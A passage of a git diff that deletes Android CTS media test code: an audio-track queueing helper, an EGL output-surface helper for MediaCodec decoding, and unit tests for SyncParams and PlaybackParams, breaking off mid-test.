- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.media.AudioAttributes;
-import android.util.Log;
-
-import java.nio.ByteBuffer;
-import java.util.LinkedList;
-
-/**
- * Class for playing audio by using audio track.
- * {@link #write(byte[], int, int)} and {@link #write(short[], int, int)} methods will
- * block until all data has been written to system. In order to avoid blocking, this class
- * caculates available buffer size first then writes to audio sink.
- */
-public class NonBlockingAudioTrack {
-    private static final String TAG = NonBlockingAudioTrack.class.getSimpleName();
-
-    class QueueElement {
-        ByteBuffer data;
-        int size;
-        long pts;
-    }
-
-    private AudioTrack mAudioTrack;
-    private int mSampleRate;
-    private int mNumBytesQueued = 0;
-    private LinkedList<QueueElement> mQueue = new LinkedList<QueueElement>();
-    private boolean mStopped;
-
-    public NonBlockingAudioTrack(int sampleRate, int channelCount, boolean hwAvSync,
-                    int audioSessionId) {
-        int channelConfig;
-        switch (channelCount) {
-            case 1:
-                channelConfig = AudioFormat.CHANNEL_OUT_MONO;
-                break;
-            case 2:
-                channelConfig = AudioFormat.CHANNEL_OUT_STEREO;
-                break;
-            case 6:
-                channelConfig = AudioFormat.CHANNEL_OUT_5POINT1;
-                break;
-            default:
-                throw new IllegalArgumentException();
-        }
-
-        int minBufferSize =
-            AudioTrack.getMinBufferSize(
-                    sampleRate,
-                    channelConfig,
-                    AudioFormat.ENCODING_PCM_16BIT);
-
-        int bufferSize = 2 * minBufferSize;
-
-        if (!hwAvSync) {
-            mAudioTrack = new AudioTrack(
-                    AudioManager.STREAM_MUSIC,
-                    sampleRate,
-                    channelConfig,
-                    AudioFormat.ENCODING_PCM_16BIT,
-                    bufferSize,
-                    AudioTrack.MODE_STREAM);
-        }
-        else {
-            // build AudioTrack using Audio Attributes and FLAG_HW_AV_SYNC
-            AudioAttributes audioAttributes = (new AudioAttributes.Builder())
-                            .setLegacyStreamType(AudioManager.STREAM_MUSIC)
-                            .setFlags(AudioAttributes.FLAG_HW_AV_SYNC)
-                            .build();
-            AudioFormat audioFormat = (new AudioFormat.Builder())
-                            .setChannelMask(channelConfig)
-                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
-                            .setSampleRate(sampleRate)
-                            .build();
-             mAudioTrack = new AudioTrack(audioAttributes, audioFormat, bufferSize,
-                                    AudioTrack.MODE_STREAM, audioSessionId);
-        }
-
-        mSampleRate = sampleRate;
-    }
-
-    public long getAudioTimeUs() {
-        int numFramesPlayed = mAudioTrack.getPlaybackHeadPosition();
-
-        return (numFramesPlayed * 1000000L) / mSampleRate;
-    }
-
-    public AudioTimestamp getTimestamp() {
-        AudioTimestamp timestamp = new AudioTimestamp();
-        mAudioTrack.getTimestamp(timestamp);
-        return timestamp;
-    }
-
-    public int getNumBytesQueued() {
-        return mNumBytesQueued;
-    }
-
-    public void play() {
-        mStopped = false;
-        mAudioTrack.play();
-    }
-
-    public void stop() {
-        if (mQueue.isEmpty()) {
-            mAudioTrack.stop();
-            mNumBytesQueued = 0;
-        } else {
-            mStopped = true;
-        }
-    }
-
-    public void pause() {
-        mAudioTrack.pause();
-    }
-
-    public void flush() {
-        if (mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING) {
-            return;
-        }
-        mAudioTrack.flush();
-        mQueue.clear();
-        mNumBytesQueued = 0;
-        mStopped = false;
-    }
-
-    public void release() {
-        mQueue.clear();
-        mNumBytesQueued = 0;
-        mAudioTrack.release();
-        mAudioTrack = null;
-        mStopped = false;
-    }
-
-    public void process() {
-        while (!mQueue.isEmpty()) {
-            QueueElement element = mQueue.peekFirst();
-            int written = mAudioTrack.write(element.data, element.size,
-                                            AudioTrack.WRITE_NON_BLOCKING, element.pts);
-            if (written < 0) {
-                throw new RuntimeException("Audiotrack.write() failed.");
-            }
-
-            mNumBytesQueued -= written;
-            element.size -= written;
-            if (element.size != 0) {
-                break;
-            }
-            mQueue.removeFirst();
-        }
-        if (mStopped) {
-            mAudioTrack.stop();
-            mNumBytesQueued = 0;
-            mStopped = false;
-        }
-    }
-
-    public int getPlayState() {
-        return mAudioTrack.getPlayState();
-    }
-
-    public void write(ByteBuffer data, int size, long pts) {
-        QueueElement element = new QueueElement();
-        element.data = data;
-        element.size = size;
-        element.pts  = pts;
-
-        // accumulate size written to queue
-        mNumBytesQueued += size;
-        mQueue.add(element);
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/OutputSurface.java b/tests/tests/media/src/android/media/cts/OutputSurface.java
deleted file mode 100644
index 5417bf4..0000000
--- a/tests/tests/media/src/android/media/cts/OutputSurface.java
+++ /dev/null
@@ -1,318 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.graphics.SurfaceTexture;
-import android.opengl.EGL14;
-import android.opengl.EGLConfig;
-import android.opengl.EGLContext;
-import android.opengl.EGLDisplay;
-import android.opengl.EGLSurface;
-import android.util.Log;
-import android.view.Surface;
-
-
-/**
- * Holds state associated with a Surface used for MediaCodec decoder output.
- * <p>
- * The (width,height) constructor for this class will prepare GL, create a SurfaceTexture,
- * and then create a Surface for that SurfaceTexture.  The Surface can be passed to
- * MediaCodec.configure() to receive decoder output.  When a frame arrives, we latch the
- * texture with updateTexImage, then render the texture with GL to a pbuffer.
- * <p>
- * The no-arg constructor skips the GL preparation step and doesn't allocate a pbuffer.
- * Instead, it just creates the Surface and SurfaceTexture, and when a frame arrives
- * we just draw it on whatever surface is current.
- * <p>
- * By default, the Surface will be using a BufferQueue in asynchronous mode, so we
- * can potentially drop frames.
- */
-class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
-    private static final String TAG = "OutputSurface";
-    private static final boolean VERBOSE = false;
-
-    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
-    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
-    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
-
-    private SurfaceTexture mSurfaceTexture;
-    private Surface mSurface;
-
-    private Object mFrameSyncObject = new Object();     // guards mFrameAvailable
-    private boolean mFrameAvailable;
-
-    private TextureRender mTextureRender;
-
-    /**
-     * Creates an OutputSurface backed by a pbuffer with the specifed dimensions.  The new
-     * EGL context and surface will be made current.  Creates a Surface that can be passed
-     * to MediaCodec.configure().
-     */
-    public OutputSurface(int width, int height) {
-        if (width <= 0 || height <= 0) {
-            throw new IllegalArgumentException();
-        }
-
-        eglSetup(width, height);
-        makeCurrent();
-
-        setup(this);
-    }
-
-    /**
-     * Creates an OutputSurface using the current EGL context (rather than establishing a
-     * new one).  Creates a Surface that can be passed to MediaCodec.configure().
-     */
-    public OutputSurface() {
-        setup(this);
-    }
-
-    public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
-        setup(listener);
-    }
-
-    /**
-     * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
-     * with the SurfaceTexture.
-     */
-    private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
-        mTextureRender = new TextureRender();
-        mTextureRender.surfaceCreated();
-
-        // Even if we don't access the SurfaceTexture after the constructor returns, we
-        // still need to keep a reference to it.  The Surface doesn't retain a reference
-        // at the Java level, so if we don't either then the object can get GCed, which
-        // causes the native finalizer to run.
-        if (VERBOSE) Log.d(TAG, "textureID=" + mTextureRender.getTextureId());
-        mSurfaceTexture = new SurfaceTexture(mTextureRender.getTextureId());
-
-        // This doesn't work if OutputSurface is created on the thread that CTS started for
-        // these test cases.
-        //
-        // The CTS-created thread has a Looper, and the SurfaceTexture constructor will
-        // create a Handler that uses it.  The "frame available" message is delivered
-        // there, but since we're not a Looper-based thread we'll never see it.  For
-        // this to do anything useful, OutputSurface must be created on a thread without
-        // a Looper, so that SurfaceTexture uses the main application Looper instead.
-        //
-        // Java language note: passing "this" out of a constructor is generally unwise,
-        // but we should be able to get away with it here.
-        mSurfaceTexture.setOnFrameAvailableListener(listener);
-
-        mSurface = new Surface(mSurfaceTexture);
-    }
-
-    /**
-     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports pbuffer.
-     */
-    private void eglSetup(int width, int height) {
-        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
-        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
-            throw new RuntimeException("unable to get EGL14 display");
-        }
-        int[] version = new int[2];
-        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
-            mEGLDisplay = null;
-            throw new RuntimeException("unable to initialize EGL14");
-        }
-
-        // Configure EGL for pbuffer and OpenGL ES 2.0.  We want enough RGB bits
-        // to be able to tell if the frame is reasonable.
-        int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
-                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
-                EGL14.EGL_NONE
-        };
-        EGLConfig[] configs = new EGLConfig[1];
-        int[] numConfigs = new int[1];
-        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, configs, 0, configs.length,
-                numConfigs, 0)) {
-            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
-        }
-
-        // Configure context for OpenGL ES 2.0.
-        int[] attrib_list = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
-                EGL14.EGL_NONE
-        };
-        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
-                attrib_list, 0);
-        checkEglError("eglCreateContext");
-        if (mEGLContext == null) {
-            throw new RuntimeException("null context");
-        }
-
-        // Create a pbuffer surface.  By using this for output, we can use glReadPixels
-        // to test values in the output.
-        int[] surfaceAttribs = {
-                EGL14.EGL_WIDTH, width,
-                EGL14.EGL_HEIGHT, height,
-                EGL14.EGL_NONE
-        };
-        mEGLSurface = EGL14.eglCreatePbufferSurface(mEGLDisplay, configs[0], surfaceAttribs, 0);
-        checkEglError("eglCreatePbufferSurface");
-        if (mEGLSurface == null) {
-            throw new RuntimeException("surface was null");
-        }
-    }
-
-    /**
-     * Discard all resources held by this class, notably the EGL context.
-     */
-    public void release() {
-        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
-            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
-            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
-            EGL14.eglReleaseThread();
-            EGL14.eglTerminate(mEGLDisplay);
-        }
-
-        mSurface.release();
-
-        // this causes a bunch of warnings that appear harmless but might confuse someone:
-        //  W BufferQueue: [unnamed-3997-2] cancelBuffer: BufferQueue has been abandoned!
-        //mSurfaceTexture.release();
-
-        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
-        mEGLContext = EGL14.EGL_NO_CONTEXT;
-        mEGLSurface = EGL14.EGL_NO_SURFACE;
-
-        mTextureRender = null;
-        mSurface = null;
-        mSurfaceTexture = null;
-    }
-
-    /**
-     * Makes our EGL context and surface current.
-     */
-    public void makeCurrent() {
-        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
-            throw new RuntimeException("eglMakeCurrent failed");
-        }
-    }
-
-    /**
-     * Returns the Surface that we draw onto.
-     */
-    public Surface getSurface() {
-        return mSurface;
-    }
-
-    /**
-     * Replaces the fragment shader.
-     */
-    public void changeFragmentShader(String fragmentShader) {
-        mTextureRender.changeFragmentShader(fragmentShader);
-    }
-
-    /**
-     * Latches the next buffer into the texture.  Must be called from the thread that created
-     * the OutputSurface object, after the onFrameAvailable callback has signaled that new
-     * data is available.
-     */
-    public void awaitNewImage() {
-        final int TIMEOUT_MS = 2000;
-
-        synchronized (mFrameSyncObject) {
-            while (!mFrameAvailable) {
-                try {
-                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
-                    // stalling the test if it doesn't arrive.
-                    mFrameSyncObject.wait(TIMEOUT_MS);
-                    if (!mFrameAvailable) {
-                        // TODO: if "spurious wakeup", continue while loop
-                        throw new RuntimeException("Surface frame wait timed out");
-                    }
-                } catch (InterruptedException ie) {
-                    // shouldn't happen
-                    throw new RuntimeException(ie);
-                }
-            }
-            mFrameAvailable = false;
-        }
-
-        // Latch the data.
-        mTextureRender.checkGlError("before updateTexImage");
-        mSurfaceTexture.updateTexImage();
-    }
-
-    /**
-     * Wait up to given timeout until new image become available.
-     * @param timeoutMs
-     * @return true if new image is available. false for no new image until timeout.
-     */
-    public boolean checkForNewImage(int timeoutMs) {
-        synchronized (mFrameSyncObject) {
-            while (!mFrameAvailable) {
-                try {
-                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
-                    // stalling the test if it doesn't arrive.
-                    mFrameSyncObject.wait(timeoutMs);
-                    if (!mFrameAvailable) {
-                        return false;
-                    }
-                } catch (InterruptedException ie) {
-                    // shouldn't happen
-                    throw new RuntimeException(ie);
-                }
-            }
-            mFrameAvailable = false;
-        }
-
-        // Latch the data.
-        mTextureRender.checkGlError("before updateTexImage");
-        mSurfaceTexture.updateTexImage();
-        return true;
-    }
-
-    /**
-     * Draws the data from SurfaceTexture onto the current EGL surface.
-     */
-    public void drawImage() {
-        mTextureRender.drawFrame(mSurfaceTexture);
-    }
-
-    public void latchImage() {
-        mTextureRender.checkGlError("before updateTexImage");
-        mSurfaceTexture.updateTexImage();
-    }
-
-    @Override
-    public void onFrameAvailable(SurfaceTexture st) {
-        if (VERBOSE) Log.d(TAG, "new frame available");
-        synchronized (mFrameSyncObject) {
-            if (mFrameAvailable) {
-                throw new RuntimeException("mFrameAvailable already set, frame could be dropped");
-            }
-            mFrameAvailable = true;
-            mFrameSyncObject.notifyAll();
-        }
-    }
-
-    /**
-     * Checks for EGL errors.
-     */
-    private void checkEglError(String msg) {
-        int error;
-        if ((error = EGL14.eglGetError()) != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ParamsTest.java b/tests/tests/media/src/android/media/cts/ParamsTest.java
deleted file mode 100644
index adbad8d..0000000
--- a/tests/tests/media/src/android/media/cts/ParamsTest.java
+++ /dev/null
@@ -1,375 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.media.PlaybackParams;
-import android.media.SyncParams;
-import android.os.Parcel;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-/**
- * General Params tests.
- *
- * In particular, check Params objects' behavior.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class ParamsTest extends AndroidTestCase {
-    private static final String TAG = "ParamsTest";
-    private static final float FLOAT_TOLERANCE = .00001f;
-    private static final float MAX_DEFAULT_TOLERANCE = 1/24.f;
-
-    public void testSyncParamsConstants() {
-        assertEquals(0, SyncParams.SYNC_SOURCE_DEFAULT);
-        assertEquals(1, SyncParams.SYNC_SOURCE_SYSTEM_CLOCK);
-        assertEquals(2, SyncParams.SYNC_SOURCE_AUDIO);
-        assertEquals(3, SyncParams.SYNC_SOURCE_VSYNC);
-
-        assertEquals(0, SyncParams.AUDIO_ADJUST_MODE_DEFAULT);
-        assertEquals(1, SyncParams.AUDIO_ADJUST_MODE_STRETCH);
-        assertEquals(2, SyncParams.AUDIO_ADJUST_MODE_RESAMPLE);
-    }
-
-    public void testSyncParamsDefaults() {
-        SyncParams p = new SyncParams();
-        try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-        try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-        try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-        try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-
-        SyncParams q = p.allowDefaults();
-        assertSame(p, q);
-        assertEquals(p.AUDIO_ADJUST_MODE_DEFAULT, p.getAudioAdjustMode());
-        assertEquals(p.SYNC_SOURCE_DEFAULT,       p.getSyncSource());
-        assertTrue(p.getTolerance() >= 0.f
-                && p.getTolerance() < MAX_DEFAULT_TOLERANCE + FLOAT_TOLERANCE);
-        try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-    }
-
-    public void testSyncParamsAudioAdjustMode() {
-        // setting this cannot fail
-        SyncParams p = new SyncParams();
-        for (int i : new int[] {
-                SyncParams.AUDIO_ADJUST_MODE_STRETCH,
-                SyncParams.AUDIO_ADJUST_MODE_RESAMPLE,
-                -1 /* invalid */}) {
-            SyncParams q = p.setAudioAdjustMode(i); // verify both initial set and update
-            assertSame(p, q);
-            assertEquals(i, p.getAudioAdjustMode());
-            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-        }
-    }
-
-    public void testSyncParamsSyncSource() {
-        // setting this cannot fail
-        SyncParams p = new SyncParams();
-        for (int i : new int[] {
-                SyncParams.SYNC_SOURCE_SYSTEM_CLOCK,
-                SyncParams.SYNC_SOURCE_AUDIO,
-                -1 /* invalid */}) {
-            SyncParams q = p.setSyncSource(i); // verify both initial set and update
-            assertSame(p, q);
-            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-            assertEquals(i, p.getSyncSource());
-            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-        }
-    }
-
-    public void testSyncParamsTolerance() {
-        // this can fail on values not in [0, 1)
-
-        // test good values
-        SyncParams p = new SyncParams();
-        float lastValue = 2.f; /* some initial value to avoid compile error */
-        for (float f : new float[] { 0.f, .1f, .9999f }) {
-            SyncParams q = p.setTolerance(f); // verify both initial set and update
-            assertSame(p, q);
-            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-            assertEquals(f, p.getTolerance(), FLOAT_TOLERANCE);
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-            lastValue = f;
-        }
-
-        // test bad values - these should have no effect
-        boolean update = true;
-        for (float f : new float[] { -.0001f, 1.f }) {
-            try {
-                p.setTolerance(f);
-                fail("set tolerance to " + f);
-            } catch (IllegalArgumentException e) {}
-            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-            if (update) {
-                // if updating, last value should remain
-                assertEquals(lastValue, p.getTolerance(), FLOAT_TOLERANCE);
-            } else {
-                // otherwise, it should remain undefined
-                try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-            }
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-
-            // no longer updating in subsequent iterations
-            p = new SyncParams();
-            update = false;
-        }
-    }
-
-    public void testSyncParamsFrameRate() {
-        // setting this cannot fail, but negative values may be normalized to some negative value
-        SyncParams p = new SyncParams();
-        for (float f : new float[] { 0.f, .0001f, 30.f, 300.f, -.0001f, -1.f }) {
-            SyncParams q = p.setFrameRate(f);
-            assertSame(p, q);
-            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-            if (f >= 0) {
-                assertEquals(f, p.getFrameRate(), FLOAT_TOLERANCE);
-            } else {
-                assertTrue(p.getFrameRate() < 0.f);
-            }
-        }
-    }
-
-    public void testSyncParamsMultipleSettings() {
-        {
-            SyncParams p = new SyncParams();
-            p.setAudioAdjustMode(p.AUDIO_ADJUST_MODE_STRETCH);
-            SyncParams q = p.setTolerance(.5f);
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_ADJUST_MODE_STRETCH, p.getAudioAdjustMode());
-            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
-            assertEquals(.5f, p.getTolerance(), FLOAT_TOLERANCE);
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-
-            // allowDefaults should not change set values
-            q = p.allowDefaults();
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_ADJUST_MODE_STRETCH, p.getAudioAdjustMode());
-            assertEquals(p.SYNC_SOURCE_DEFAULT, p.getSyncSource());
-            assertEquals(.5f, p.getTolerance(), FLOAT_TOLERANCE);
-            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
-        }
-
-        {
-            SyncParams p = new SyncParams();
-            p.setSyncSource(p.SYNC_SOURCE_VSYNC);
-            SyncParams q = p.setFrameRate(25.f);
-            assertSame(p, q);
-
-            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
-            assertEquals(p.SYNC_SOURCE_VSYNC, p.getSyncSource());
-            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
-            assertEquals(25.f, p.getFrameRate(), FLOAT_TOLERANCE);
-
-            // allowDefaults should not change set values
-            q = p.allowDefaults();
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_ADJUST_MODE_DEFAULT, p.getAudioAdjustMode());
-            assertEquals(p.SYNC_SOURCE_VSYNC, p.getSyncSource());
-            assertTrue(p.getTolerance() >= 0.f
-                    && p.getTolerance() < MAX_DEFAULT_TOLERANCE + FLOAT_TOLERANCE);
-            assertEquals(25.f, p.getFrameRate(), FLOAT_TOLERANCE);
-        }
-    }
-
-    public void testPlaybackParamsConstants() {
-        assertEquals(0, PlaybackParams.AUDIO_STRETCH_MODE_DEFAULT);
-        assertEquals(1, PlaybackParams.AUDIO_STRETCH_MODE_VOICE);
-
-        assertEquals(0, PlaybackParams.AUDIO_FALLBACK_MODE_DEFAULT);
-        assertEquals(1, PlaybackParams.AUDIO_FALLBACK_MODE_MUTE);
-        assertEquals(2, PlaybackParams.AUDIO_FALLBACK_MODE_FAIL);
-    }
-
-    public void testPlaybackParamsDefaults() {
-        PlaybackParams p = new PlaybackParams();
-        try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-        try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-        try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-        try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-
-        PlaybackParams q = p.allowDefaults();
-        assertSame(p, q);
-        assertEquals(p.AUDIO_FALLBACK_MODE_DEFAULT, p.getAudioFallbackMode());
-        assertEquals(p.AUDIO_STRETCH_MODE_DEFAULT,  p.getAudioStretchMode());
-        assertEquals(1.f, p.getPitch(), FLOAT_TOLERANCE);
-        assertEquals(1.f, p.getSpeed(), FLOAT_TOLERANCE);
-    }
-
-    public void testPlaybackParamsAudioFallbackMode() {
-        // setting this cannot fail
-        PlaybackParams p = new PlaybackParams();
-        for (int i : new int[] {
-                PlaybackParams.AUDIO_FALLBACK_MODE_MUTE,
-                PlaybackParams.AUDIO_FALLBACK_MODE_FAIL,
-                -1 /* invalid */}) {
-            PlaybackParams q = p.setAudioFallbackMode(i); // verify both initial set and update
-            assertSame(p, q);
-            assertEquals(i, p.getAudioFallbackMode());
-            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-        }
-    }
-
-    public void testPlaybackParamsAudioStretchMode() {
-        // setting this cannot fail
-        PlaybackParams p = new PlaybackParams();
-        for (int i : new int[] {
-                PlaybackParams.AUDIO_STRETCH_MODE_DEFAULT,
-                PlaybackParams.AUDIO_STRETCH_MODE_VOICE,
-                -1 /* invalid */}) {
-            PlaybackParams q = p.setAudioStretchMode(i); // verify both initial set and update
-            assertSame(p, q);
-            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-            assertEquals(i, p.getAudioStretchMode());
-            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-        }
-    }
-
-    public void testPlaybackParamsPitch() {
-        // this can fail on values not in [0, Inf)
-
-        // test good values
-        PlaybackParams p = new PlaybackParams();
-        float lastValue = 2.f; /* some initial value to avoid compile error */
-        for (float f : new float[] { 0.f, .1f, 9999.f }) {
-            PlaybackParams q = p.setPitch(f); // verify both initial set and update
-            assertSame(p, q);
-            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-            assertEquals(f, p.getPitch(), FLOAT_TOLERANCE);
-            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-            lastValue = f;
-        }
-
-        // test bad values - these should have no effect
-        boolean update = true;
-        for (float f : new float[] { -.0001f, -1.f }) {
-            try {
-                p.setPitch(f);
-                fail("set tolerance to " + f);
-            } catch (IllegalArgumentException e) {}
-            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-            if (update) {
-                // if updating, last value should remain
-                assertEquals(lastValue, p.getPitch(), FLOAT_TOLERANCE);
-            } else {
-                // otherwise, it should remain undefined
-                try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-            }
-            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-
-            // no longer updating in subsequent iterations
-            p = new PlaybackParams();
-            update = false;
-        }
-    }
-
-    public void testPlaybackParamsSpeed() {
-        // setting this cannot fail
-        PlaybackParams p = new PlaybackParams();
-        for (float f : new float[] { 0.f, .0001f, 30.f, 300.f, -.0001f, -1.f, -300.f }) {
-            PlaybackParams q = p.setSpeed(f);
-            assertSame(p, q);
-            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-            assertEquals(f, p.getSpeed(), FLOAT_TOLERANCE);
-        }
-    }
-
-    public void testPlaybackParamsMultipleSettings() {
-        {
-            PlaybackParams p = new PlaybackParams();
-            p.setAudioFallbackMode(p.AUDIO_FALLBACK_MODE_MUTE);
-            PlaybackParams q = p.setPitch(.5f);
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_FALLBACK_MODE_MUTE, p.getAudioFallbackMode());
-            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
-            assertEquals(.5f, p.getPitch(), FLOAT_TOLERANCE);
-            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
-
-            // allowDefaults should not change set values
-            q = p.allowDefaults();
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_FALLBACK_MODE_MUTE, p.getAudioFallbackMode());
-            assertEquals(p.AUDIO_STRETCH_MODE_DEFAULT, p.getAudioStretchMode());
-            assertEquals(.5f, p.getPitch(), FLOAT_TOLERANCE);
-            assertEquals(1.f, p.getSpeed(), FLOAT_TOLERANCE);
-        }
-
-        {
-            PlaybackParams p = new PlaybackParams();
-            p.setAudioStretchMode(p.AUDIO_STRETCH_MODE_VOICE);
-            PlaybackParams q = p.setSpeed(25.f);
-            assertSame(p, q);
-
-            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
-            assertEquals(p.AUDIO_STRETCH_MODE_VOICE, p.getAudioStretchMode());
-            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
-            assertEquals(25.f, p.getSpeed(), FLOAT_TOLERANCE);
-
-            // allowDefaults should not change set values
-            q = p.allowDefaults();
-            assertSame(p, q);
-
-            assertEquals(p.AUDIO_FALLBACK_MODE_DEFAULT, p.getAudioFallbackMode());
-            assertEquals(p.AUDIO_STRETCH_MODE_VOICE, p.getAudioStretchMode());
-            assertEquals(1.f, p.getPitch(), FLOAT_TOLERANCE);
-            assertEquals(25.f, p.getSpeed(), FLOAT_TOLERANCE);
-        }
-    }
-
-    public void testPlaybackParamsDescribeContents() {
-        PlaybackParams p = new PlaybackParams();
-        assertEquals(0, p.describeContents());
-    }
-
-    public void testPlaybackParamsWriteToParcel() {
-        PlaybackParams p = new PlaybackParams();
-        p.setAudioFallbackMode(PlaybackParams.AUDIO_FALLBACK_MODE_FAIL);
-        p.setAudioStretchMode(PlaybackParams.AUDIO_STRETCH_MODE_VOICE);
-        p.setPitch(.5f);
-        p.setSpeed(.0001f);
-
-        Parcel parcel = Parcel.obtain();
-        p.writeToParcel(parcel, 0 /* flags */);
-        parcel.setDataPosition(0);
-        PlaybackParams q = PlaybackParams.CREATOR.createFromParcel(parcel);
-
